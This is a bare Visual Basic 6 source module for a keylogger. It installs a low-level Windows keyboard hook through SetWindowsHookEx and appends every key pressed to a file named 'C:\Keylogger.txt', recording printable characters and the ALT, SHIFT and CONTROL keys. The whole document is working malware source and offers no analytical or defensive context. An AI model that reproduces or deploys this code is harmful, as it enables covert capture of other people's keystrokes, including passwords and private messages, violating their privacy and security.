Public Type KBDLLHOOKSTRUCT
vkCode As Long
scanCode As Long
flags As Long
time As Long
dwExtraInfo As Long
End Type
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Const HC_ACTION = 0
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_SYSKEYDOWN = &H104
Public Const WM_SYSKEYUP = &H105
Public Const VK_TAB = &H9
Public Const VK_CONTROL = &H11
Private Const VK_LSHIFT = &HA0
Private Const VK_RSHIFT = &HA1
Private Const VK_RCONTROL = &HA3
Private Const VK_LCONTROL = &HA2
Private Const VK_SHIFT = &H10
Public Const VK_ESCAPE = &H1B
Public Const VK_DELETE = &H2E
Public Const WH_KEYBOARD_LL = 13
Public Const LLKHF_ALTDOWN = &H20
Dim m_udtKEYBOARDHOOK As KBDLLHOOKSTRUCT
Public Function KeyboardProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim intFFN As Integer
Dim blnConsumeKey As Boolean
If (nCode = HC_ACTION) Then
If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
CopyMemory m_udtKEYBOARDHOOK, ByVal lParam, Len(m_udtKEYBOARDHOOK)
intFFN = FreeFile
Open "C:\Keylogger.txt" For Append As intFFN
With m_udtKEYBOARDHOOK
If (.flags And LLKHF_ALTDOWN) <> 0 Then
Print #intFFN, "ALT"
End If
'print printable characters
If .vkCode >= 33 And .vkCode <= 126 Then
Print #intFFN, Chr(.vkCode)
ElseIf .vkCode = VK_LSHIFT Or .vkCode = VK_RSHIFT Or .vkCode = VK_SHIFT Then
Print #intFFN, "SHIFT"
ElseIf .vkCode = VK_CONTROL Then
Print #intFFN, "CONTROL"
Else
Print #intFFN, "ASCII: " & .vkCode
End If
End With
Close #intFFN
End If
End If
KeyboardProc = CallNextHookEx(0, nCode, wParam, ByVal lParam)
End Function